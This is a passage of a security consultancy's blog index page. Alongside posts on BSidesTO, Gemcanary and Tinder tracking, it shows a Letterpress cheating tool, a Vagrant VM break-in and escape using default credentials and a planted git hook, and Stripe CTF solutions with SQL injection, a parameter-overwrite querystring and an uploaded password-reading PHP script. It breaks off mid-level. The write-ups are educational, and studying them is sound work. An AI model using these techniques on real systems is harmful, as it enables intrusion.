-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
1508 lines (1057 loc) · 123 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<!--[if IEMobile 7 ]><html class="no-js iem7"><![endif]-->
<!--[if lt IE 9]><html class="no-js lte-ie8"><![endif]-->
<!--[if (gt IE 8)|(gt IEMobile 7)|!(IEMobile)|!(IE)]><!--><html class="no-js" lang="en"><!--<![endif]-->
<head>
<meta charset="utf-8">
<title>Finite State</title>
<meta name="author" content="State Machinery">
<meta name="description" content="Last fall, while performing some bespoke security research for one of our clients, I found a way to locate any Tinder user using trilateration. Here …">
<!-- http://t.co/dKP3o1e -->
<meta name="HandheldFriendly" content="True">
<meta name="MobileOptimized" content="320">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="canonical" href="http://stateio.github.com/">
<link href="/favicon.png" rel="icon">
<link href="/stylesheets/screen.css" media="screen, projection" rel="stylesheet" type="text/css">
<script src="/javascripts/modernizr-2.0.js"></script>
<script src="/javascripts/ender.js"></script>
<script src="/javascripts/octopress.js" type="text/javascript"></script>
<link href="/atom.xml" rel="alternate" title="Finite State" type="application/atom+xml">
<!--Fonts from Google"s Web font directory at http://google.com/webfonts -->
<link href="http://fonts.googleapis.com/css?family=PT+Serif:regular,italic,bold,bolditalic" rel="stylesheet" type="text/css">
<link href="http://fonts.googleapis.com/css?family=PT+Sans:regular,italic,bold,bolditalic" rel="stylesheet" type="text/css">
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-36268423-1']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
</head>
<body >
<header role="banner"> <h1><a href="/">Finite State</a></h1>
</header>
<nav role="navigation">
<ul class="main-navigation">
<li><a href="http://state.io">State Machinery</a></li>
<li><a href="/blog/archives">Archives</a></li>
</ul>
<ul class="subscription" data-subscription="rss">
<li><a href="/atom.xml" rel="subscribe-rss" title="subscribe via RSS">RSS</a></li>
</ul>
</nav>
<div id="main">
<div id="content">
<div class="blog-index">
<article>
<header>
<h1 class="entry-title"><a href="/blog/2014/02/25/how-to-locate-any-tinder-user/">How to Locate Any Tinder User</a></h1>
<p class="meta">
<span class="byline author vcard"><span class="fn"><a href="http://twitter.com/mveytsman">Max Veytsman</a></span></span>
<time datetime="2014-02-25T10:09:00-05:00" pubdate data-updated="true">Feb 25<span>th</span>, 2014</time>
</p>
</header>
<div class="entry-content"><p>Last fall, while performing some bespoke security research for one of our clients, I found a way to locate any Tinder user using <a href="https://en.wikipedia.org/wiki/Trilateration">trilateration</a>. Here’s what the proof of concept looks like:</p>
<p><img src="/assets/images/tinder/04_found_max.png" alt="finding me" /></p>
<p>I did a guest post over at the Include Security blog about <strong><a href="http://blog.includesecurity.com/2014/02/how-i-was-able-to-track-location-of-any.html">how I was able to track the location of any Tinder user</a></strong>.</p>
</div>
</article>
<article>
<header>
<h1 class="entry-title"><a href="/blog/2013/11/30/thoughts-on-bsidesto/">Thoughts on Bsidesto</a></h1>
<p class="meta">
<span class="byline author vcard"><span class="fn"><a href="http://twitter.com/mveytsman">Max Veytsman</a></span></span>
<time datetime="2013-11-30T12:00:00-05:00" pubdate data-updated="true">Nov 30<span>th</span>, 2013</time>
</p>
</header>
<div class="entry-content"><p>Last month, I helped organize a security conference in Toronto called <a href="http://bsidesto.ca">BsidesTO</a>. I’ve attended and volunteered at my fair share of conferences, but this is the first time I’ve had an integral role in throwing and event of this scale.</p>
<p>One day, two floors, 14 speakers, and over 150 attendees. It was a blast. An exhausting blast.</p>
<p><a href="http://www.securitybsides.com/w/page/12194156/FrontPage">Bsides</a>. is a brand for security conferences around the world.</p>
<blockquote><p>What is BSides?
Each BSides is a community-driven framework for building events for and by information security community members. The goal is to expand the spectrum of conversation beyond the traditional confines of space and time. It creates opportunities for individuals to both present and participate in an intimate atmosphere that encourages collaboration. It is an intense event with discussions, demos, and interaction from participants. It is where conversations for the next-big-thing are happening.</p></blockquote>
<p>The Toronto security community had long wanted a Bsides of its own to compliment the larger <a href="http://sector.ca/">SecTor</a> conference. 2013 was the first year that things came together and a successful Bsides in Toronto was launched.</p>
<h2>If you build it they will come</h2>
<p>Conferences without speakers are just parties. Which isn’t a bad thing, but we’re throwing a conference damnit! To be a conference, someone has to talk.</p>
<p>At first, getting enough speakers concerned me the most. Having spoken at conferences before, I know how harrowing it can be to put yourself out there in front of a crowd. Because we were starting a brand new event, I was constantly anxious that no one would want to speak, thus forcing me to spend 6 hours performing magic tricks to entertain the attendees.</p>
<p>This worry was entirely unfounded. I had no idea how many smart talented people are willing to show up to a hitherto unknown event with their research and perspectives.</p>
<p>We had an amazing group of speakers show up, and I’m proud of all of them for making the conference the success that it was.</p>
<h2>The other kind of speakers matter too</h2>
<p>No matter how much you plan ahead, something will go wrong.</p>
<p>We ran the conference on two floors of the Monarch Tavern. We piped audio and video from the talks to televisions upstairs, so people could have a lounge like atmosphere while they watched the talks.</p>
<p>I still think the model was solid. The “Hallway Track” is always a great experience at conferences. We wanted to create an atmosphere where you could converse with your friends while still paying attention to talks and not bothering other attendees.</p>
<p>There were some issues with the audio quality upstairs, and my main lesson learned for next year is to improve the A/V experience as much as possible.</p>
<h2>Sleep</h2>
<p>Sleep is important. BsidesTO happened to be on the night of Nuit Blanche. If you went out that night, I’m impressed. I for one went home and slept for 36 hours.</p>
<h2>In conclusion</h2>
<p>Organizing BSidesTO was one of the best experiences I’ve had in 2013, and I hope you had a good time at the conference as well. My eternal thanks to everyone else involved: <a href="https://twitter.com/bitgamble">Jamie</a>, <a href="https://twitter.com/gattaca">Dave</a>, <a href="https://twitter.com/ironfog">Ben</a>, <a href="https://twitter.com/phillmv">Phill</a>, <a href="https://twitter.com/syzygos">Laura</a>, and the staff of <a href="http://www.themonarchtavern.com/">The Monarch</a>.</p>
</div>
</article>
<article>
<header>
<h1 class="entry-title"><a href="/blog/2013/03/08/making-gemcanary/">What an MVP Looks Like: Making Gemcanary</a></h1>
<p class="meta">
<span class="byline author vcard"><span class="fn"><a href="http://twitter.com/phillmv">Phillip Mendonça-Vieira</a></span></span>
<time datetime="2013-03-08T00:40:00-05:00" pubdate data-updated="true">Mar 8<span>th</span>, 2013</time>
</p>
</header>
<div class="entry-content"><p>Here at <a href="http://state.io">State Machinery</a> we’re big fans of <a href="https://github.com/mroth/lolcommits">lolcommits</a> and we set it up on every project we work on. <a href="https://gemcanary.com">Gemcanary</a> was no different:</p>
<iframe width="480" height="360" src="http://www.youtube.com/embed/R7pgAlCB3kU?rel=0" frameborder="0" allowfullscreen></iframe>
<h2>Scratching an itch</h2>
<p>The Ruby community was recently besieged by a series of devastating security vulnerabilities. These things happen. It’s hard to get everything right all the time and, if anything, for an ecosystem everyone loves to hate it’s a little surprising it took this long for something this serious to emerge.</p>
<p>We sighed and scrambled to update our apps in production.</p>
<p>However, a couple of weeks later while debugging my personal server, I noticed that I had left a couple of toy apps unattended. I had totally forgotten about them, on account of the fact that I hadn’t touched them in well over a year. No one had visited these urls in forever and nothing important was stored on that machine, but we wiped the server as part of our standard operating procedure.</p>
<p>After spending a couple of hours putting everything that wasn’t in a chef script back together, I felt really annoyed. The whole security process as we experience it <em>sucks</em>.</p>
<p>It’s actually really hard to keep up to date with every single piece of ruby-related news. If you work on a small team, depending on your social network to communicate critical patches totally falls apart if you ever plan on spending time away from the computer. And once you’ve been a web developer for a few years you end up collecting a lot of apps, repositories and deployments you’re responsible for.</p>
<p>So, we decided to automate it.</p>
<p><a href="https://gemcanary.com">Gemcanary</a> will read your Gemfile.lock and notify you if any of your app’s dependencies become vulnerable.</p>
<p>Given that we’re a new consultancy, we found ourselves with some time between client projects and just went full blast for two weeks. It was a lot of fun to work on. Although not every itch is worth investing this much time into, building an app you intend strangers to depend on is a very humbling and educational experience.</p>
<p>There’s a more lot to be said about building apps on Github’s API, scratching itches and fixing the Ruby security process — which, through <a href="http://rubysec.github.com">Rubysec</a> we’re trying to be a part of — and this is something we’ll be exploring more of over the next few weeks.</p>
</div>
</article>
<article>
<header>
<h1 class="entry-title"><a href="/blog/2012/11/09/hacking-letterpress/">Hacking Letterpress</a></h1>
<p class="meta">
<span class="byline author vcard"><span class="fn"><a href="http://twitter.com/mveytsman">Max Veytsman</a></span></span>
<time datetime="2012-11-09T14:38:00-05:00" pubdate data-updated="true">Nov 9<span>th</span>, 2012</time>
</p>
</header>
<div class="entry-content"><p><a href="http://www.atebits.com/letterpress/">Letterpress</a> is an iOS game
that came out a few weeks ago and immediately became popular enough to <a href="https://twitter.com/marcoarment/statuses/261337316268859392">take down Apple’s GameCenter</a>. It’s a cross between <a href="http://daringfireball.net/linked/2012/10/24/letterpress">Scrabble and Go</a>. The game is played on a board made out of 25 letters and players take turns building words in order to capture the letters they use.</p>
<p>I was hopelessly addicted to Letterpress until I figured out how to win consistently.</p>
<p><img src="/assets/images/letterpress/winning.png" alt="winning" /></p>
<p>As it turns out, Letterpress’s dictionary and word check is stored and performed locally on your
phone. By simply adding words to Letterpress’s dictionary, you can register any
combination of letters as a valid word.</p>
<p>Inside your iPhone, the dictionary is spread across a
series of text files located in <code>/<Letterpress
folder>/Letterpress.app/o/[ab-zz].txt</code>. For instance, <code>ab.txt</code>
contains all the words that begin with aa, and so on and so forth.</p>
<p>However, digging around a bunch of text files is no fun, and so I decided to
write a tool to help me out.</p>
<p>By the way, the author of Letterpress does <a href="https://twitter.com/lorenb/status/261617107656138752">know</a> about people cheating this way.</p>
<h2>Automating Letterpress cheating</h2>
<p>First of all, it’s a common misconception that you need to jailbreak a
phone in order to access an individual app’s files.
Tools like
<a href="http://www.macroplant.com/iexplorer/">iExplorer</a> allow you to, among
other things, access an app’s directory and modify the files there on any iPhone. (It’s my understanding that they’re using undocumented calls in the library iTunes uses for syncing in order to
pull this off.)</p>
<p>Since I didn’t want to rely on a third party paid tool like iExplorer,
I decided to use libimobiledevice.
<a href="http://www.libimobiledevice.org/">libimobiledevice</a>. Libimobiledevice
is an open-source library for talking to iDevices over USB. It’s capable of providing
access to the filesystem, the iPhone internals, and much more.
Libimobiledevice supports both OS X and Linux.</p>
<p>So, I wrote a ruby gem that acts as an adapter for
libimobiledevice and exposes some of the API calls in an object-oriented way. It’s available on github as
<a href="https://github.com/stateio/imobiledevice">imobiledevice</a>. So far, I have
implemented only the small subset of libimobiledevice that I need,
but I definitely welcome pull requests.</p>
<p>Once I had a ruby wrapper for for libimobiledevice, it was simple to
write an app that adds arbitrary words to the Letterpress dictionary.
I call it
<a href="https://github.com/stateio/letterpress-lexicographer">letterpress-lexicographer</a>.
Here’s how it works:</p>
<h2>Is this a word?</h2>
<p><img src="/assets/images/letterpress/before.png" alt="Before" /></p>
<h2>Shucks!</h2>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>./letterpress-lexicographer.rb
</span><span class='line'> [*] Connecting to iDevice
</span><span class='line'> [*] Connected to iDevice. UDID:REDACTED
</span><span class='line'> [*] Accessing Letterpress app
</span><span class='line'> [*] Accessed Letterpress app
</span><span class='line'> [?] What word would you like to add? (/q to quit)
</span><span class='line'> -> szug
</span><span class='line'> [+] Reading word-list /Letterpress.app/o/sz.txt
</span><span class='line'> [+] Inserting word szug into word-list /Letterpress.app/o/sz.txt
</span><span class='line'> [+] Successfully added word szug. You can play it now!</span></code></pre></td></tr></table></div></figure>
<h2>Let’s try again</h2>
<p><img src="/assets/images/letterpress/after.png" alt="After" /></p>
<p>You can find the app <a href="https://github.com/stateio/letterpress-lexicographer">here</a>. Please enjoy responsibly.</p>
</div>
</article>
<article>
<header>
<h1 class="entry-title"><a href="/blog/2012/10/30/breaking-in-and-out-of-vagrant/">Breaking in and Out of Vagrant</a></h1>
<p class="meta">
<span class="byline author vcard"><span class="fn"><a href="http://twitter.com/mveytsman">Max Veytsman</a></span></span>
<time datetime="2012-10-30T00:32:00-04:00" pubdate data-updated="true">Oct 30<span>th</span>, 2012</time>
</p>
</header>
<div class="entry-content"><p><a href="http://vagrantup.com/">Vagrant</a> is a great tool that allows you to
easily spawn and configure lightweight VMs to use as development
environments. Vagrant provides base installs of several flavours of
Linux, and takes care of setting up networking and shared folders for
you.</p>
<p>Vagrant is really useful for managing your development environment,
and I highly recommend it. If you’re doing a lot of development,
you might need to be running all kinds of application and database
servers on your machine, and it’s probably a much better idea to run
them in a VM rather than on your host machine.</p>
<p>Unfortunately, if you expose your Vagrant VMs (or any development VMs
really) to the outside world, what seemed like a secure best practice
can end up being very insecure. This isn’t a novel concept, but the
disposable nature of virtual machines makes it easy to forget to think
about their security. A common attitude is “What’s the worst that can
happen if someone gets on my development VM? I blow away and
re-generate this VM every half hour anyway, and aren’t VM escape bugs
rare and esoteric anyway?”</p>
<p>I’m going to show a really simple way to break out of Vagrant VMs, but first,</p>
<h2>How Vagrant is Used </h2>
<p>Vagrant VMs are designed to be lightweight and built per-project. The
VMs around a concept of “base boxes,” which are base installs of
various flavours of linux. You initialize a Vagrant VM from a base
box, and then can install your desired environment.</p>
<p>By default, Vagrant shares your project folder
with the VM at <code>/vagrant/</code>. So, a usual workflow would be:</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>host: <span class="nv">$ </span><span class="nb">cd</span> /my/project/here/
</span><span class='line'>host: <span class="nv">$ </span><span class="c">#we're going to base our VM on an Ubuntu Lucid 32bit base box </span>
</span><span class='line'>host: <span class="nv">$ </span>vagrant box add lucid32 http://files.vagrantup.com/lucid32.box
</span><span class='line'>host: <span class="nv">$ </span>vagrant init lucid32
</span><span class='line'>host: <span class="nv">$ </span>vagrant up
</span><span class='line'>host: <span class="nv">$ </span>vagrant ssh
</span><span class='line'> vm: <span class="nv">$ </span><span class="c">#now we are on the VM</span>
</span><span class='line'> vm: <span class="nv">$ </span><span class="nb">cd</span> /vagrant/
</span><span class='line'> vm: <span class="nv">$ </span>run_my_server
</span></code></pre></td></tr></table></div></figure>
<p>You can then edit the code on your host machine, and use the VM to run an applciation and database server.</p>
<h2>Bridging the Network</h2>
<p>Just like in any virtual machine, you can configure your Vagrant VMs’
networking to run in host-only mode or in bridged mode. In host-only
mode, a VM uses a virtual network adapter and is basically only
accessible from the host. In bridged mode, the VM bridges through the
network adapter of the host machine, and actually connects to the same
network as the host. So, for example, if you bridge a VM to a wifi
device, the VM will have a different IP address on the same wifi
network as the host. And of course, you’ll be able to access the VM
from other machines on the wifi network. In host-only mode, the VM is
not accessible from outside the host. As they say, NAT is the poor
man’s firewall.</p>
<p>The Vagrant
<a href="http://vagrantup.com/v1/docs/bridged_networking.html">documentation</a>
doesn’t mention any security risks of running development VMs in
bridged mode. There’s a promising alert box, but the contents are:</p>
<blockquote><h4>Not All Networks Work!</h4>
<p>Some networks will not work properly with bridged networking. Specifically, I’ve found that hotel networks, airport networks, and generally public-shared networks have configurations in place such that bridging does not work.
You can tell if the bridged networking worked successfully by seeing if the virtual machine was able to get an IP address on the bridged adapter.</p></blockquote>
<p>The author doesn’t seem to see any intrinsic problem with running Vagrant VMs in hotels, airports, and coffee-shops outside of it sometimes not working.</p>
<h2>Breaking In</h2>
<p>So after scanning the airport wifi, you found someone running a
Vagrant VM in bridged mode. How do you get in? First of all, they are
most like likely doing some kind of development on it, so the VM is
probably running an app that’s not very secured. There’s also a good
chance that this VM is running a database and maybe CouchDB or Redis.
One of these is probably using guessable credentials (this is the
development environment after all), or the app itself might have an
exploitable bug.</p>
<p>All of the above sounds too hard. Remember the <code>vagrant ssh</code> command
above? Well, it has to get in somehow.</p>
<p>On all of the VMs built from official base boxes, like <code>lucid32</code> the
credentials are <code>vagrant : vagrant</code>. The instructions for developers
building new base boxes actually say not to use password-based SSH
logins. Instead, anyone building a base box for public consumption is
using these <a href="https://github.com/mitchellh/vagrant/tree/master/keys/">SSH keys</a> for the
<code>vagrant</code> user.</p>
<p>Either way, any Vagrant VM built from a public base box (read: almost
all of them) is going to be accessible with either <code>vagrant : vagrant</code>
or the SSH keys above.</p>
<h2>Breaking Out </h2>
<p>Breaking into a development VM isn’t a big deal on it’s own,
especially since the vagrant workflow encourages blowing-away and
rebuilding the VM often. What you really want is code execution on the
host, and it’s going to be surprisingly easy to do that.</p>
<p>The Vagrant workflow encourages you to edit your code outside the VM.
That’s why Vagrant helpfully shares the project directory as
<code>/vagrant/</code> in the VM. It’s a safe assumption that anyone using
Vagrant for development is using some kind of version control, and if
that’s the case, they are probably going to be interacting with it on
the host machine (where they edit the code). This is how we’ll get
execution on the host.</p>
<p>For simplicity, I’m going to focus on Git, but this trick should work
for any other commonly used VCS. Hooks are little shell scripts that
run after you commit a certain action. For instance, a <code>post-commit</code>
hook is a shell script that git will execute every time a commit is
completed. Hooks are places in <code>.git/hooks/HOOK-NAME</code>.</p>
<p>So if I get on a Vagrant VM and want to escape into the host, all I
have to do is create a post-commit hook. I simply put evil things in
<code>/vagrant/.git/hooks/post-commit</code> and wait for the user to commit some
code. Since the <code>/vagrant/</code> directory is mounted from the host, my
hook will persist even if the user destroys the VM.</p>
<p>If you liked this, you should follow me on <a href="https://twitter.com/mveytsman">twitter</a>.</p>
</div>
</article>
<article>
<header>
<h1 class="entry-title"><a href="/blog/2012/08/30/my-solutions-to-the-stripe-ctf-web-app-edition/">My Solutions to the Stripe CTF (Web App Edition)</a></h1>
<p class="meta">
<span class="byline author vcard"><span class="fn"><a href="http://twitter.com/mveytsman">Max Veytsman</a></span></span>
<time datetime="2012-08-30T17:55:00-04:00" pubdate data-updated="true">Aug 30<span>th</span>, 2012</time>
</p>
</header>
<div class="entry-content"><p>Stripe recently ran a <a href="https://stripe-ctf.com">CTF</a> focused on web application hacking. It ended yesterday, and I decided to write up my solutions. If you have any questions or find a bug in my solutions, you can reach me at <strong>max [at] state.io</strong>.</p>
<p>First of all, I had an great time solving these challenges. Big thanks to the Stripe team for creating such a fun game. I hope to see more CTFs from them in the future.</p>
<p>Now, onto the challenges!</p>
<h2>Level 0</h2>
<p>The zeroth level was a pretty basic SQL injection that served as an introduction to the game mechanics and what’s expected from the player. That 7000 participants number comes from the number of people who completed level 0 and officially entered the competition.</p>
<p>The Secret Safe is a web page that allows you to store secrets by specifying a namespace, a name, and a secret. Secrets are queried by namespace, and somewhere in the secret database is the password for the next level. Each secret is stored with a key of <code>NAMESPACE.TITLE</code>, and when you query the database for a given namespace you are getting back all of the keys in that namespace. Of course you can try guessing the namespace that the password is stored in, or…</p>
<p>The relevant lines are:</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='javascript'><span class='line'><span class="kd">var</span> <span class="nx">query</span> <span class="o">=</span> <span class="s1">'SELECT * FROM secrets WHERE key LIKE ? || ".%"'</span><span class="p">;</span>
</span><span class='line'><span class="nx">db</span><span class="p">.</span><span class="nx">all</span><span class="p">(</span><span class="nx">query</span><span class="p">,</span> <span class="nx">namespace</span><span class="p">,</span> <span class="kd">function</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">secrets</span><span class="p">)</span> <span class="p">{</span> <span class="c1">//...</span>
</span></code></pre></td></tr></table></div></figure>
<p>By querying the site for secrets in the namespace of <code>%</code>, you cause the SQL query that is executed to evaluate to <code>SELECT * FROM secrets WHERE key LIKE %.%</code> which of course will spit out every secret stored in every namespace, including the password.</p>
<p><img src="/assets/images/stripe-ctf/level0-solved.png" alt="Level 0 Solved" /></p>
<h2>Level 1</h2>
<p>Level 1 is a “guessing game.” You’re asked to guess a secret combination, and given the next level’s password if your guess is correct. The code is below:</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
</pre></td><td class='code'><pre><code class='php'><span class='line'><span class="cp"><?php</span>
</span><span class='line'> <span class="nv">$filename</span> <span class="o">=</span> <span class="s1">'secret-combination.txt'</span><span class="p">;</span>
</span><span class='line'> <span class="nb">extract</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">);</span>
</span><span class='line'> <span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$attempt</span><span class="p">))</span> <span class="p">{</span>
</span><span class='line'> <span class="nv">$combination</span> <span class="o">=</span> <span class="nx">trim</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$filename</span><span class="p">));</span>
</span><span class='line'> <span class="k">if</span> <span class="p">(</span><span class="nv">$attempt</span> <span class="o">===</span> <span class="nv">$combination</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'> <span class="k">echo</span> <span class="s2">"<p>How did you know the secret combination was"</span> <span class="o">.</span>
</span><span class='line'> <span class="s2">" </span><span class="si">$combination</span><span class="s2">!?</p>"</span><span class="p">;</span>
</span><span class='line'> <span class="nv">$next</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'level02-password.txt'</span><span class="p">);</span>
</span><span class='line'> <span class="k">echo</span> <span class="s2">"<p>You've earned the password to the access Level 2:"</span> <span class="o">.</span>
</span><span class='line'> <span class="s2">" </span><span class="si">$next</span><span class="s2"></p>"</span><span class="p">;</span>
</span><span class='line'> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span><span class='line'> <span class="k">echo</span> <span class="s2">"<p>Incorrect! The secret combination is not </span><span class="si">$attempt</span><span class="s2"></p>"</span><span class="p">;</span>
</span><span class='line'> <span class="p">}</span>
</span><span class='line'> <span class="p">}</span>
</span><span class='line'><span class="cp">?></span><span class="x"></span>
</span></code></pre></td></tr></table></div></figure>
<p>The problem is <code>extract($_GET)</code> on line 3. <code>extract</code> will take a hash and load all of its values into the symbol table. Running this on <code>$_GET</code> is dangerous for obvious reasons, and the PHP <a href="http://php.net/manual/en/function.extract.php">manual</a> does warn loudly about this. If we supply <code>filename</code> as one of the GET parameters, Iwecan redefine the <code>$filename</code> variable. Now all we have to do is supply a filename of a file whose contents we know, and submit those contents as our guess.</p>
<p>There are a lot of ways to do this, but I found it most natural to choose a filename that doesn’t exist, and supply an empty string as my guess. Because the script doesn’t really deal with errors, this will result in a correct attempt. My final querystring was <code>attempt=&filename=DOESNOTEXIT</code></p>
<p><img src="/assets/images/stripe-ctf/level1-solved.png" alt="Level 1 Solved" /></p>
<h2>Level 2</h2>
<p>Level 2 presents you with a “social network,” where you have the opportunity to upload your avatar image. The password for the next level is stored in a text file on the server. As it turns out, you can upload any kind of file you want, not just images. And this includes PHP files, which the server will happily execute when you navigate to the URL of the uploaded script. You can even get a handy directory listing:</p>
<p><img src="/assets/images/stripe-ctf/level2-directory_listing.png" alt="Level 2 Directory Listing" /></p>
<p>Above you can see a bunch of files that I uploaded, and even a false attempt at the challenge. Having a place to dump scripts and other files is going to come in handy for the later challenges.</p>
<p>To solve this level, all we have to do is upload a file with a PHP script that echoed the password and navigate to it:</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class='php'><span class='line'><span class="cp"><?php</span>
</span><span class='line'><span class="nv">$password</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'../password.txt'</span><span class="p">);</span>
</span><span class='line'><span class="k">echo</span> <span class="nv">$password</span><span class="p">;</span>
</span><span class='line'><span class="cp">?></span><span class="x"></span>
</span></code></pre></td></tr></table></div></figure>
<h2>Level 3</h2>
<p>Level 3 is a more secure implementation of the Secret Safe from level 0, and is once again solved by SQL injection. In level 3, the secrets are segregated by user, and to view a secret you have to log in with a password. Passwords are stored salted and hashed.</p>
<p>The relevant lines are</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
</pre></td><td class='code'><pre><code class='python'><span class='line'><span class="n">query</span> <span class="o">=</span> <span class="s">"""SELECT id, password_hash, salt FROM users</span>
